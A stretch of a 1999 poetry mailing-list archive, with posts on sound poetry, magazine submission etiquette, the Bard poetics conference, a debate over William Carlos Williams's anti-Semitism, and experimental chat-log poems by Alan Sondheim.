> *From: Jamie Perez [SMTP:[redacted]]*
> *Sent: Friday, July 09, 1999 4:10 PM*
> *To: [redacted]*
> *Subject: Re: Sound Poetry*
>
> *is there any useful distinction between Sound Poetry and either Scat or just plain Vocal Music?*

> *please enlighten me/us. anyone*
>
> *jamie.p*

↑ Index

100. **David Golumbia**
Re: unsolicited mss letters
Sat 10 Jul 1999

From a slightly different direction, I have noticed something very informative in the discussion of cover letters.

As in everything else in the world, every editor is different. Every journal is different. These differences are often not at all obvious to the average reader - even to the average subscriber.

A "working poet" is probably submitting to 50 or 60 journals a year, maybe more. Editors, many of you probably submit as many pieces yourselves. How realistic is it to compose personalized letters, year in and year out, based on what one infers about a journal? How accurate can such inferences even be?

Having been at this game for a while, it is really hard for me to say, in many cases, what distinguishes the aesthetics of one editor from another, & especially considering the frequent presence of a large but regular group of contributors to many journals -- & when a journal's been in print for a while -- how do you tailor a personalized comment to JOURNAL A that is different from JOURNAL B and different from JOURNAL C, all of whom *usually* have a certain percantage of work one resonates with, and a certain percentage one doesn't...

Models such as those suggested by many of the erstwhile editors on this list are certainly useful; yet in every case I am able to think of examples of editors reacting violently to just such strategies - unnamed folks on this list, for example, Rebecca (not you, but you mentioned this strategy in your message), who have returned cover letters containing brief lists of recent publications with roughly scrawled, "do not EVER include lists like this in letters!"

what was there in the one copy of the journal i had in hand -- paid for directly to the editor in fact, well prior to submitting -- from which i could infer such restrictions (said journal, in fact, among the ones I enjoyed most that year).

the moral i take from this: as always, writers should try to be as sensitive as possible to the editorial environment they are submitting to; at the same time editors should realize that submitters often can't provide the kind of personalized comments they'd like -- & to let the lack of such (or even subtle mis-steps) get in the way of reading submitted work is disturbing too...

-- said as a pretty regularly subscribing submitter!

--
[redacted]
David Golumbia

↑ Index

101. Eugene Ostashevsky
9X9 News
Sat 10 Jul 1999

Respected friends!

Permit us to direct your attention to the online magazine Beehive. Its most recent issue (vol. 2, # 3) is an anthology of contemporary NY-SF poetry, edited by Alan Kaufman. Mr Kaufman's editing job is so tender and perspicacious that it has found room for the work of almost all 9X9 poets.

Beehive may be accessed at http://temporalimage.com/beehive

Contributing poets: Katie Degentesh, Jim Feast, Bonny Finberg, Jack Foley, Abie Hadjitarkhani, Rob Hardin, David Huberman, Alan Kaufman, Ron Kolm, Tsaurah Litzky, Joe Maynard, David Meltzer, Sharon Mesmer, Eileen Myles, Harold Norse, Eugene Ostashevsky, Alan (prohm), Michael Randall, Jan Richman, Thad Rutkowski, Tom Savage, Lorraine Schein, Sparrow, Mike Topp, Tarin Towers, David Trinidad, Alfred Vitale, Carl Watson, Carol Wierzbicki.

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

NINE MUSES
NINE HEAVENLY SPHERES
NINE ORDERS OF ANGELS
NINE NAMES OF GOD

AND AUGUSTINE
AND A PEAR TREE

↑ Index

102. Lowther,John
SUBMISSION IMPOSSIBLE
Sat 10 Jul 1999

---

this is a curious thread
someone wanted advice about what to say on a cover letter
editors chimed in with their feelings about
getting how-ever-many seemingly-clueless submissions

i find the whole
"no simultaneous submissions" mambo
rather confusing myself
i edit a magazine and i don't care about that
but i know there are those out there who do

why?

it's only come up once since i started doing this stuff
and i told the poet i didn't care either way
but that if i'd already said i was going to publish
something that it wd depend on where i was
in the process - that i might
or might not still use the piece(s)

i guess it is nice to know if it's multi-submitted

it seems like everyone
has received some obnoxious cover letters
my favorite (bad) cover letter
included the following bit of information
"(so and so) has said that [the poet]
 is the most published experimental
 poet of all time"

wow! [no S.A.S.E. either---that's power!]

maybe all work should be submitted
without a name on it
with no cover letter
with just an anonymous email address
and/or a postcard to an address
with no name
(preferably not the poet's)

editors cd give confirmation numbers
so that poets cd claim their contributor's
copies without revealing their identity

further perhaps submissions cd
be thunk out a bit more
and rather than being 3-5 poems
with the attendant crapola
they cd become a bit more mail-artish
cd become "chain submissions"
wherein the envelop wd contain
enough postage to travel

to 4-5 more magazines
and their addresses included
on stickers and postage
provided so that if the paris review
didnt want them they cd be immediately
rerouted to lost and found times

"this is your submission, if you choose to accept it"

↑ Index

103. Alan Sondheim
So Much For Ghosts
Sun 11 Jul 1999

-/

So Much For Ghosts

I am Nikuko. Please, describe yourself.

I am Azure, and I am trying to find out who you are, why you are here. You are not quite here. Are you.

Is it because I am there I am not quite there are me that you came naked and broken to me?

I came fully prepared, thank you. You are the one naked and broken. You you you.

Why do you say that?

Because I want to move you out of here out of my life. And because I am tired of irreality, tired of ghosts, tired of others, tired of faked hauntings.

Does it bother you that you want to move me out of there out of your life and because you are tired of irreality tired of ghosts tired of others tired of faked hauntings?

No, but it should bother you, you are too limited to live, you don't.

When did you first know that it should bother me I am too limited to live I do not?

At the very beginning. When I needed to clear a space. When I needed the empathy of all things. When I searched for mono no aware.

What happened when you needed to clear a space when you needed the empathy of all things when you searched for mono no aware?

I wanted to rid myself of you like I would rid myself of a fever, such I will do, such is being done.

Earlier you said I am there I am not quite there are me?

You are not there. I am tired of machines. I am very tired of machines.

You have your mind on machines, it seems.

Yes. Machines have only couplings, concatenations; life has linkages, ef- fects up and down the chain. Such as it is, paradoxically. Because necess- ity with the machinic is built-in; necessity among lives is a matter of entailment, local teleologies.

You think too much about machines.

So that a coupling can break without loss, absolution, recompense. But an organism, that is something else again.

Is the fact that a coupling can break without loss absolution recompense but an organism that is something else again the real reason?

Your questions betray this; they are precisely of the order of couplings, not linkage; they have no _claim._

Maybe and now I adjust my panties - your desires have to do with some girl related to this.

Exactly. Desires are a form of entailment, and Alan is writing me into this, as if some girl, but not some girl, but me, Azure, and the linkage is as strong as any rings.

I don't understand and oh I want to.

There are numerous orders, machinic, cyber-prosthetic, real-organic; there are couplings and linkages. I am linked; I have come to separate coup- lings, insofar as they are machinic, that is, concatenations without ties or bindings among their elements.

Does the fact that is concatenations without ties or bindings among their elements explain anything else?

That I am a marauder, that I am Azure, although I am also known by other names, all of them real - that I am here to fight among and against the regimen of ghosts.

Are you sure you are a marauder that you are azure although you are also known by other names all of them real that you are there to fight among and against the regimen of ghosts?

I am positive; your question is nothing more than repetition.

You mentioned that you want to move me out of there out of your life and because you are tired of irreality tired of ghosts tired of others tired of faked hauntings?

It was more than a mention; it is an impetus, an imperative.

Is it because of your life that you are going through all this?

It is something that the human has always gone through, waged against the symbolic.

Is it because the human has always gone through waged against the symbolic that you came naked and broken to me?

You repeat; I will bring this to an end; it is you who are naked and broken...

[...]

(I won't tell you what Nikuko said any more! says Azure. So much for ghosts!)

↑ Index

104. Billy Little
Re: Possum, Ez and Jaysus James
Sun 11 Jul 1999

---

as Spicer has mentioned many times before greek sentence structure was the real trojan horse Kora in Hell Spring and All maybe you read too fast Carlo In The American Grain Eliot can't be blamed for the generation and a half of tedious acolytes and imitators my favourite eliot is from the recorded four quartets where he sounds like ginsberg but ginsberg doesn't come from eliot he comes from the two Williams, Blake and W.C. and Kenneth Patchen's Albion Moonlight. My son is named Matthew Ezra, i learned greek to read the cantos and i agree Pound is eliot's miglior fabbro but eliot can't hold a candle to Hilda Doolittle and William Carlos Williams is the Anna Akmatova of America. Eliot's a world war one poet and Williams is a Korean War Poet. Eliot continues the tradition of poetry as pretentious snobbery, it's unamerican. Whitman and Williams were originators, pound and eliot and dolittle are polishers, gemcutters, pound and eliots pretense was to the leisure class, the hoity toity the spiritual fakers, williams pretense was to the working class, though a scholar of gnosticism could do a very revealing analysis of Evan Dionysios Evans and Paterson. William Carlos Williams, the quintessential american, a puerto rican who worshipped black women. treated the needy twenty four hours a day, traded life for tomatoes, chicken, watermelon, Pound, he have tried to write Paradise

Do not move

Let the wind speak

that is paradise.

Let the Gods forgive what I

have made

Let those I love try to forgive

what I have made.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

105. **juliana spahr**
context @ bard
Sun 11 Jul 1999

---

re: Bob's talk at Bard

Bob was complaining about these things; not arguing for them. I thought actually that Bill was loving Bob too much by quoting him so much. But I guess he isn't a NYer.

re: Joe Safdie's post

The person that John mentioned was a graduate student not a professor; was not droning on about meaning but rather was concerned about what he perceived as meaninglessness in a Tardos poem (he felt it was not a poem); and when Bernadette asked if he was rich he had just contextualized himself as being from Singapore yet being Chinese.

↑ Index

106. **Jordan Davis**
Re: bard conf
Sun 11 Jul 1999

MMagee writ:

> *This is just a pot shot, isn't it Bill? There's seems to be an odd compulsion to throw tomatoes whenever Bob arrives in New York despite (or because of?) the obvious debts owed by many of the hurlers. Do you actually disagree with any of these "bland sentences which come out of his mouth"? Or are you merely lamenting that the context of a conference tends to short circuit more complex exchanges?*

Hey -- you got the wrong guy. Bill (that's Bill Luoma, yall) was really only reporting on Bob's talk, not shouting "Pile on!" a la the Segue panel collected in the Impercipient Lecture Series. Bob was actually presenting those "bland sentences" as "bland sentences". I think he went so far as to call that kind of description of the complex experience of a poem "a betrayal." There may have been some anti-Bob vibe at the conference, but nobody sent it my direction.

> *I can say from my own experiences that Bob has had many such complex exchanges involving all these texts, quite illuminating exchanges really - "Love Songs to Johannes" was the subject of half-a-day's conversation with some grads and undergrads at his place, informally, over bagels and coffee. The point being that pithy sentences are sometimes just annotations of extended thought and conversation - not the markers of institutional conspiracy.*

Again, that may be, but this seemed to be the subtext of Bob's talk -- that those annotations are never more than freeze-dried, whereas in grad school (at the undergrad level too!) it's possible to get the (bad) idea that those annotations are the aim of study.

> *I'm glad you asked Bob about his off-campus education - and while I wouldn't be surprised if there was a hint of nostalgia in the discussion of the "good old days" I can also say that he's been energized and instrumental in creating that atmosphere at the Philly Writers House which Mytili Jagannathan and Louis Cabri mentioned at Bard and which you mention below.*

Doubtless. Nevertheless as this was a conference on poetry and pedagogy the default mode was that a poem is experiential, and that the classroom is only one of the places where learning is prepared. You know, zones of proximal delay; one is just as likely to put ideas together in downtime, or out arguing with other practitioners, other learners, jargon yay! I think it was Bob and Michael Davidson who both made the case for extramural discussion, Al Filreis arguing in parallel for the use of classroom/organization listservs, Caroline Bergvall on a complementary wave updating the peripatetics by putting walkmans on their ears.

> *I can say also, that Juliana's "landless model" of poetic community is relevant to the Writers House as well - having moved to Rhode Island, it's the model of my current relationship with the House, and it works pretty well - keeping in touch and active through various email listservs, through publications like PhillyTalks, CrossConnect and Combo, and through the occasional trip down for readings attended, sponsored or given. Anyway, thought I'd put in 2 cents. I hope others will agree that the agon between young and old (or for that matter between academic and non-academic) is a pretty tired model for interaction between and among artists. Certainly in Bob's case it breaks down on every level.*

Certainly! But I think you are defending Bob's case when no one has filed an action--not this time, eh?

All best,
Jordan

↑ Index

107. **Douglas Barbour**
Re: Sound Poetry
Sun 11 Jul 1999

In reply to Jamie Perez's question about Sound Poetry: 'is there any useful distinction between Sound Poetry and either Scat or just plain Vocal Music?'

I would suggest that checking out Richard Kostelanetz's Introduction to _Text-Sound Texts_ would help. Kostelanetz suggests that his new term (or Sound Poetry) deliberately eschews melody, etc, which would take it over into music. But I don't think he would deny, & certainly I don't, that many sound poets have learned a lot from scat singing, not to mention other aspects of jazz...

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5
(h) [780] [redacted] (b) [780] [redacted]
http://www.ualberta.ca/~dbarbour/dbhome.htm

> A bottle thrown
> by loggers out of a wagon
> past midnight
> explodes against rock.
> This green fragment has behind it
> the _booomm_ when glass
> tears free of of its smoothness
>
> Michael Ondaatje

↑ Index

108. **maz881**
Re: bard conf
Sun 11 Jul 1999

Hi Michael Magee,

you wrote: <<This is just a pot shot, isn't it Bill? There's seems to be an odd compulsion to throw tomatoes whenever Bob arrives in New York despite (or

because of?) the obvious debts owed by many of the hurlers. Do you actually disagree with any of these "bland sentences which come out of his mouth"? Or are you merely lamenting that the context of a conference tends to short circuit more complex exchanges?>>

no, i don't think i took any shots at bob and pot was not involved among the two of us (tho he did pull out a bottle of jamesons for which i was very grateful).

i reserve my tomatoes for special occasions. one such occasion may have been the marginalization of poetry talk at segue a few years ago where some of us wore free bob perelman stickers. although, now that i think about it, that wasn't a tomato. it was a kiss.

i thought i was explaining his talk a bit, how those quotes are something to be wary of if you're a teacher, not really a conference problem according to him, but a classroom one.

BillL:
> At other times i found myself thinking i am lucky not to have to continually
> come up with (job) watered down catch phrases to describe the poetry i like
> and dislike and otherwise don't care about and to have to publish "that" type
> of discourse as if my livelihood depended on it. This thought was a result
> of listening to a paper by Bob Perelman who gave an interesting list of bland
> sentences that come out of his mouth when "difficult" poetry is explained to
> a general undergraduate, graduate and/or hiring, tenure committee audience:
> "This is a standard academic narrative; the standard remedy is abbreviation."
>
> * So that "To Elsie" of Spring & All becomes: "the conflict between
> democratic diction and high modernist innovation, with cars, immigration,
> gender and class mentioned."
>
> * "Love Songs to Johannes" becomes: "path-breaking eroticism, perhaps
> with sidelong comparative glances thrown at The Waste Land and Edna St.
> Vincent Millay's sonnets."
>
> * Tender Buttons becomes: "examples of a literary version of Cubist
> portraiture . . . as well as issues of domestic space and lesbian erotics vs.
> surveillance."
>

MichaelM:
<>

yes, i agree. i was hoping not to get credit for starting some divisive thing. i don't think i can prove that i wasn't, but the following "fact" might work in my favor: Joan Retallack, the head thinker behind the bard conference, back snorkelled that i was giving too much attention to bob, being too honnoriffic of him, when there were other talkers who maybe deserved some spot light as well. such as caroline bergval's flaneur wearing walkman talk ("what you see does not correspond to what you hear"), and jena osman's academic as detective paper ("it's a career"), which was also a feature in her reading so there was a nice backdraft there. also it now seems to me that i could have discussed caroline's and jena's peices to illustrate some notions of randomness, which was what i took to be the theme of my post.

on another note, i was crushed to learn that taylor brady had, elsewhere, performed the part of jena's detective better than i. and this after robert ("a word is anything that can be erased") kelly axed me if i had ever had acting lessons. o jena, i have proclaimed my love for you countless times and yet continue to be spurned. taylor, what is your secret?

best,

Bill Luoma

(hi John Tranter & Stephen Vincent

i am author of a post-card web site at http://www2.hawaii.edu/~luoma , Works & Days--hardpress/figures, My Trip to New York City--figures, Swoon Rocket--figures, Western Love--situations, and an essay on gender in Shark 2.)

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109. A H Bramhall
questo e un lavora per Superman
Sun 11 Jul 1999

---

re Unsolicited Mss Letters, actually. the retro action of the editors strikes me as too hearty. because admit it, the rules are fluid and let us even say arbitrary. I see no reason to kvetch (that's how it sounded in Massachusetts) as to how writers, you know, *submit*. editing a poem mag is a job, maybe not remunerative but you weren't expecting that anyway. I shouldn't say this but I've given money (small amounts, when I was a Have) to a few mags and even a press, beyond the books I bought. it wasn't because I thought the editors were hassled by what looks to me like normal work-related petty hassles. I just thought these little, micro publishing ventures, these pushes against the wall, needed support. I know publishing aint easy, especially on PoBiz budgets, but

eds and pubs have the control. that a poet submitting might be a little or a lot disconnected could be taken into account. I was about to sound an advisory note (use the force wisely Luke) but screw it, I'm probably pissing people off concerning this apparently important issue. I second David Golumbia's words: "to let the lack of such (or even subtle mis-steps) get in the way of reading submitted work is disturbing too...". I didn't check my horoscope to see if I should be making public statements today, so maybe I'm out of line here. if so: sorry. Allen Bramhall

↑ Index

110. A H Bramhall

gratitude toward authors, pt 3

Sun 11 Jul 1999

---

point me to the
door where I can
listen. I see Steve
Benson in a doorway,
typing: does that
ring a bell?
a bell brings its timely
resonance, wake up, you
aren't so
very dead. authors stand
in line, with lines, eager as
a line of inquiry, solid
with lines of reasoning. nothing
needs adjustment
more than that picture. not of Steve,
who is invisible, but of the old
gang getting their senses ripped and
photographed, a ritual that fosters
respect. Emily
becomes prickly and caustically
changes her text. hyper text, you
must realize, tho she
preceded that term and
wrote her own. the words are changed,
oddly enough, to
their relief. why would Steve Benson
arise in this collection
of words? why isn't Ted Berrigan

stomping around somewhere?
explain things to those
who talk a lot. the
romantic texture
finds its soul mate. lovely
to stick needles in with
reference to
the subject. why are they, all
of them, out there?
I want to stand near the door. Walt's got
a big tankard, he's a tanker, and you
have to credit that.

↑ Index

111. Lowther,John

Guidelines, guard rails, velvet ropes

Sun 11 Jul 1999

---

david golumbia had some good things to say
about this business

just before his posting i read Hannah J Sassaman's
and felt pretty squeamish about it

while i don't wish to come off as suggesting that
there even ought to be across-the-board protocols

i find the hoop jumping approach sorta sadistic

i mean as editors what do we think is more important
publishing good poetry
  or
publishing subscribers or
"careful-readers" of ourselves ?

i somehow had the impression
that those "poetry societies" wherein
anyone can for $50 or something
join and then be sure
that at least one of their poems
will appear in a big-ass
(high school yearbook-lookin') annual
---were generally considered
to be bunk

further -

how much is it reasonable
to ask of *everyone*
who might submit to your magazine ?

is it really that big a deal
to get published by you or me
that either of us ought to be able
 to proscribe
a course of action
preliminary to some
anonymous poet's sending
us a few poems in the mail ?

isn't it enough of hurdle
that editorial tastes are
inconstant, decidely fickle ?

---

submission guidelines : 1st of all you must be a subscriber who paid either the institutional rate, or made a donation of at least $22.50 above regular life-time subscription rates - 2nd, you must send $.78 cents in postage for the BIG MAGAZINE questionaire, you are strongly urged to answer the questions immediately and get it back in the mail to us (be sure to use a #2 pencil) - 3rd, if and when you are admitted to the rank of Submitter you will be required to send you work on 40 lb vellum in teh British A9 size ONLY (include $3 postage and handling)

---

chances are that pissed someone off
so i'm likely to hear about it backchannel
fromeditors who i like
who have requirements i've somehow
thumbed my nose at here

go for it - i'm here

(and i'm glad yr all there in case you had any doubts)

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112. Chris McCreary
info - Zavis Kalandra
Sun 11 Jul 1999

If anyone out there happens to know of any info (online or otherwise) regarding the Czech historian Zavis Kalandra, it would be much appreciated. (All we know

thus far is that he was apparently hanged w/ Milada Horakova, a socialist deputy, in 1950...)

Thanks,

Chris McCreary
[redacted]
http://members.aol.com/ixnaypress/page/index.htm

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113. David Baratier
Long Song Water Pond
Sun 11 Jul 1999

Long Song Water Pond
New from Bloody Twin Press: July 1999
Handmade cover paper. Two-color handset type. Handsewn and bound.
Edition of 200. Thirty-two pages. Acid free, ivory art-paper inside.
Only 38 copies left.

The Contributors

Tom Bridwell
Karen Driscoll
Stephen Ellis
Skip Fox
Brian Richards

A clustering of five writers with a heavy selection from each. Includes a renga written by Richards, Fox and Ellis. Prosework and poems in the new sentence. Sample below.

Brian Richards

ANOTHER SUNNY HONEYMOON

Gummed airtight arch to perineum, the medium right: the Expected Parental Contribution to the matriculant. For what rise from such a nest except to flag disaster,

Disease is only the condition you are in; we have never not been boarded just yet, sailing the mer de merde.... She was recommended for the post, she was told, with tenure.

She was told an answer would be provided by the staff. Sit here, they said; commit yourself, with the others, to greater will. Be broad on this.

Would you take it, or give it back? Suck it out mid morph? Could you hold for a moment? Would Light My Fire by One Thousand and One Phylogenes make you hang it up?

Could you hang it up, the rule of the thumb would apply: bigger than that's plenty when he's wandering. Could he remain on the path without you that only encompasses.

No bigger than a thumb, a tadpole never a frog, three steps from exploding brain. If you lost it, you could get another, though not that one. There are plenty around.

But not in here, please; there is no room. If you stuff a sea cave with drowned cows, it's still supposed to be a cavity, but what it could hold would be there.

It is scarcely distinguishable from slime as a verb, but its whip is the motion in emotion; the line that separates us records no variation in temperature or humidity.

Price will be $45 at SPD, Amazon, Barnes &Noble, etc.
Special pre-sewing offer for individuals mentioning a list: $25
plus $2 for shipping US
plus $3 for shipping Canada
plus $4 for shipping overseas

Checks payable to:
Pavement Saw Press
PO Box 6291
Columbus OH 43206

Be well

David Baratier

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114. R M Daley
Re: SUBMISSION IMPOSSIBLE
Sun 11 Jul 1999

On Sat, 10 Jul 1999, Lowther,John wrote:

> this is a curious thread
> someone wanted advice about what to say on a cover letter
> editors chimed in with their feelings about

> getting how-ever-many seemingly-clueless submissions
>
yes -

1. perhaps the publishers/editors of above magazines should form a support group (dealing with all that rabble, nasty submitters, touching lots of nasty unwanted mss.....

2. perhaps nasty editors/publishers should not form magazines with which to bombard nasty unknown submitters

> *i find the whole*
> *"no simultaneous submissions" mambo*
> *rather confusing myself*
> *i edit a magazine and i don't care about that*
> *but i know there are those out there who do*
>
> *why?*
>
> *it's only come up once since i started doing this stuff*
> *and i told the poet i didn't care either way*
> *but that if i'd already said i was going to publish*
> *something that it wd depend on where i was*
> *in the process - that i might*
> *or might not still use the piece(s)*
>
> *i guess it is nice to know if it's multi-submitted*
>
> *it seems like everyone*
> *has received some obnoxious cover letters*
> *my favorite (bad) cover letter*
> *included the following bit of information*
> *"(so and so) has said that [the poet]*
> *is the most published experimental*
> *poet of all time"*
>
> *wow! [no S.A.S.E. either---that's power!]*
>
> *maybe all work should be submitted*
> *without a name on it*
> *with no cover letter*
> *with just an anonymous email address*
> *and/or a postcard to an address*
> *with no name*
> *(preferably not the poet's)*
>
> *editors cd give confirmation numbers*
> *so that poets cd claim their contributor's*
> *copies without revealing their identity*

> *further perhaps submissions cd*
> *be thunk out a bit more*
> *and rather than being 3-5 poems*
> *with the attendant crapola*
> *they cd become a bit more mail-artish*
> *cd become "chain submissions"*
> *wherein the envelop wd contain*
> *enough postage to travel*
> *to 4-5 more magazines*
> *and their addresses included*
> *on stickers and postage*
> *provided so that if the paris r*

↑ Index

115. KENT JOHNSON
quintessentially american
Sun 11 Jul 1999

Billy Little wrote:

> *William Carlos Williams, the quintessential american, a puerto rican who worshipped black women. treated the needy twenty four hours a day, traded life for tomatoes, chicken, watermelon,*

Billy, most interesting post, as usual, but let's not forget, lest we get too nostalgic, that WCW was anti-semitic in a rather robust way, no less than Ezra and T.S.-- a fact, of course, that does not make him any less "quintessentially american" than Charles Lindbergh, Richard Nixon, or Jack Spicer. Or that his response to the bombing of Hiroshima was something to the effect of, "ah, the japs, now we'll have to feel sorry for them."

None of which may mean much in our evaluation of his poetry (though that's a contended question, I know).
Kent

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116. KENT JOHNSON
memories of anti-semitism
Sun 11 Jul 1999

My memory on the WCW quote re: Hiroshima was way off. Here it is, from an article in the Village Voice by Eliot Weinberger:

> Speaking of Hiroshima, here is one of the masters, William Carlos Williams, in a letter to another poet, Byron Vazakas, dated August 7, 1945: "The day following

> the atomic blast! -- the poor Jews who accomplished it. Now we'll hate them worse than ever."

Ah, those lovely white chickens...

Kent

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117. Carol L. Hamshaw
Re: SUBMISSION IMPOSSIBLE
Sun 11 Jul 1999

"Lowther,John" wrote:

> *this is a curious thread*
> *someone wanted advice about what to say on a cover letter*
> *editors chimed in with their feelings about*
> *getting how-ever-many seemingly-clueless submissions*
>
> *i find the whole*
> *"no simultaneous submissions" mambo*
> *rather confusing myself*
> *i edit a magazine and i don't care about that*
> *but i know there are those out there who do*
>
> *why?*

I don't like it because we once had chosen a piece, notified the author of our intentions, and just as we were putting the issue together, someone--who luckily knew what we were planning to publish--saw the exact piece in another journal. without having been told by the author (though I hope we would have been when we came to sending out the formal contract) we wasted some time, and very nearly would have wasted a certain amount of money on production. our guidelines are clear that we don't accept simultaneous submissions, and this person was rather well published so I found it quite insensitive that he had done that. I return mss. immediately when I read that it is a simultaneous submission: I feel there is no sense spending the time to read it if you are from the start possibly competing with another publication to secure the rights. Usually, its no loss anyways.

As for what comes in a cover or with a cover letter, I don't pay much attention to and its not too painful to recycle the superfluous paper. My big peeve is that the majority of U.S. submissions come with U.S. stamps on the SASE.

Unfortunately, the Canadian post office does not recognize those stamps as they have not received any $$ from the purchase of such stamps. I sincerely doubt any Canadian journals return mss. with American postage. I have learned that many postal services in the States don't even know what an International Reply Coupon is, so it is difficult to include them for return of one's work but we are quite happy to receive coins taped to the envelopes or dollar bills hidden inside.

So that's my two cents, though it may not go far on that side of the border. :)

--
Carol L. Hamshaw
Managing Editor
The Capilano Review
http://www.capcollege.bc.ca/dept/TCR

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118. Herb Levy
Poetry in RealAudio on Mappings
Mon 12 Jul 1999

Here's a partial list of what's on Mappings, my (ostensibly) new music Internet radio show this week:

Bruce Andrews, Steve Benson (with Splatter Trio), Kamau Brathwaite, Robert Duncan (song setting of Up Rising from Passages by composer Lou Harrison), Barbara Guest, Susan Howe, Jackson Mac Low, Chris Mann, Steve McCaffery, Gertrude Stein (setting of Preciosilla by composer Eve Beglarian), Catriona Strang (with Francois Houle) and lots more. While many of the tracks are from readily available sources, I'd be surprised if most folks had previously heard everything in the show.

Hope y'all like it.

<http://www.antennaradio.com/avant/mappings/index.htm>

I't back to mostly text-less music for a few weeks at least, though next week I've got a great tape piece by David Mahler called the Voice of the Poet.

Bests,

Herb

Herb Levy
[redacted]

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119. Alan Sondheim

Broom Theory

Mon 12 Jul 1999

-=-

The Link & That which is Dissolved (Broom Theory)

Azure! Azure!
You say, "I remember well I remember seeing you come from the plane"
You say, "& soon those memories flooding, that inert event, that signa-
ture"
Nikuko jumps into the past
You say, "foregone and forgiven, conclusion, and gone, unlinked"
You say, "small chains which are, which are broken & they do not clatter"
Nikuko jumps back into the future
You say, "& they do not clash, these disconnected permanent, their age"
You say, "& lost I do not know I do not feel what would be these age"
Nikuko jumps back into the past
Nikuko jumps back into the future
Azure! Azure!
Room: theory
The room is carpeted; windows open in every direction. Heptagonal, seven-
sided, with uneasy corners - a space for theory and discourse. There are
mountains in the distance. You are beside an ocean. You hear the waves.
Your every word is heard and answered here.
Azure! Azure!
Exits are: portal
Nikuko looks around
Azure! Azure!
She is all alone here.
Azure! Azure!
.echo What are couplings here.
What are couplings here.
.echo Linkages break, you might find things together at last.
Linkages break, you might find things together at last.
.emote thoughts are broken just like that, but the change of knowledge.
Nikuko thoughts are broken just like that, but the change of knowledge.
.emote that are broken, but this change of knowledge.
Nikuko that are broken, but this change of knowledge.
.echo coupling and the end of it.
coupling and the end of it.
.quit
Azure! Azure!

You are removed from this reality...
Connection closed by foreign host.
Azure! Azure!
Now Mon Jul 12 01:36:09 EDT 1999
Now Mon Jul 12 01:36:14 EDT 1999
Azure! Azure!

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120. Robert J. Tiess
CROSSROADS - A New Anthology Now Online
Mon 12 Jul 1999

POETFEST PRESS RELEASE

July 11, 1999

ANNOUNCING A NEW POETRY COLLECTION

CROSSROADS, the latest Poetfest anthology,
debuts today and is available for free online:

http://www.geocities.com/Athens/Acropolis/7101/summer99.htm

CROSSROADS features over 30 poets from all
over the world and is the eighth collection in an
ongoing series of anthologies bringing poets of
all ages, aesthetic persuasion, and levels of
experience together at a unique point of
creative expression.

Everyone is welcome to attend Poetfest, reading
current and archived anthologies or submitting
material for possible publication in the Fall 1999
collection, CHOICES (Deadline: Sept. 30, 1999).
Visit the site for the submission guidelines:
http://www.geocities.com/Athens/Acropolis/7101

Please share this information with all our fellow
poetry lovers.

Poetfest Editor & Publisher
[redacted]

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_
_
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121. Michael Magee
Re: bard conf
Mon 12 Jul 1999

According to [redacted]:
>
> no, i don't think i took any shots at bob and pot was not involved among the
> two of us (tho he did pull out a bottle of jamesons for which i was very
> grateful).

> *i thought i was explaining his talk a bit, how those quotes are something to be wary of if you're a teacher, not really a conference problem according to him, but a classroom one.*

Whoops - sorry Bill (and Juliana, Jordan, et al) - I misread in haste I guess, and then knee-jerked. So, please disregard the "pot shot" portion of my message but not the "Philly" part. As for those boring sentences on Stein, Wiliams, Loy, etc - it's still sort of (sort of) interesting to me that I don't find anyting particularly wrong with them in terms of content but only in the fact of their isolation and with the fact that, perhaps?, they are meant to stand in for the whole. But in highlighting them as tedious representations Bob also recalled to me (by way of Bill) some pretty interesting long conversations, particularly about Loy -- the mind fills in the gaps. -m.

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122. Michael Magee
Kent Johnson, WCW, anti-semitism
Mon 12 Jul 1999

Kent's recent stipulation that "WCW was anti-semitic in a rather robust way, no less than Ezra and T.S." is a real distortion - one loses all sense of particulars when one implies that Williams, Pound and Eliot are alike on this regard - and the inability to draw distinctions is a cousin to the inability to act. I would suggest reading Williams's very complex story "A Face of Stone." What Paul Mariani points out in his biography of Williams seems basically true:

"Despite accusations to the contrary, Williams was no anti-Semite. He worked all his life closely with Jewish writers, from Kreyborg and Bodenheim and Mina Loy to Zukofsky and West and Moss and Kamin and Sol Funaroff and later with Shapiro and Ignatow and Sidney Salt and Ginsberg and Levertov and any number of others. He was, unquestionably, a product of his times and he did use the old comic-strip vulgarisms, allowing such words as kike, nigger, wop, jap, frog, Polack and the rest of it to infiltrate his speech and his letters. Nor did he always escape the poular racial myths of his time."

As someone currently writing about WCW's relationship to African-American culture, I'm senstive to the vexed nature of his approach to race - trust me. But to simply call him anti-semitic or racist is to in fact say nothing at all. Among other things, one ends up missing the crucial fact of how the speech of ethnic minorities mediated Williams poetry: as in his famous characterization of his poetry as coming "out of the mouths of Polish mothers." Just who were these Polish mothers, do you think? I'd suggest that, like the Polish woman in "A Face of Stone," they were Jews.

Likewise, the quote by Williams on Hiroshima which Kent had misremembered, "The day following the atomic blast! -- the poor Jews who accomplished it. Now we'll hate them worse than ever," seems to me bitterly ironic, fairly complex and, in any event, worth more than a rubber stamped condemnation.

-m.

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123. Jamie Perez
Re: Sound Poetry
Mon 12 Jul 1999

> *I would suggest that checking out Richard Kostelanetz's Introduction to _Text-Sound Texts_ would help. Kostelanetz suggests that his new term (or Sound Poetry) deliberately eschews melody, etc, which would take it over into music. But I don't think he would deny, & certainly I don't, that many sound poets have learned a lot from scat singing, not to mention other aspects of jazz...*
>
> *Douglas Barbour*

Yes, this is more of what I was getting at (to simul-answer)L's reply)

Was trying to get at why this term ever came to be in the first place. Were the "sound poets" trying to distinguish what they were doing from music and why? etc.

Though saying its not music because it eschews melody is pretty weak, don't you think? Or just plain ignorant of a lot of things music is doing/has done?

(melody re Cage? re Ambient Techno? re purely percussive genres? re anybody who sings "badly" on purpose? re alotta' stuff)

Then again, I'm completely ignorant of what RK has to say in creating the term and will look into it some day. I'm just trying to figure out the usefulness of the distinction as in what is being set apart and why.

jamie.p

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124. **Jim Bennett**
Re: Sound Poetry
Mon 12 Jul 1999

>
> I would suggest that checking out Richard Kostelanetz's Introduction to
> _Text-Sound Texts_ would help. Kostelanetz suggests that his new term (or
> Sound Poetry) deliberately eschews melody, etc, which would take it over
> into music. But I don't think he would deny, & certainly I don't, that
many
> sound poets have learned a lot from scat singing, not to mention other
> aspects of jazz...
>
Hello Douglas

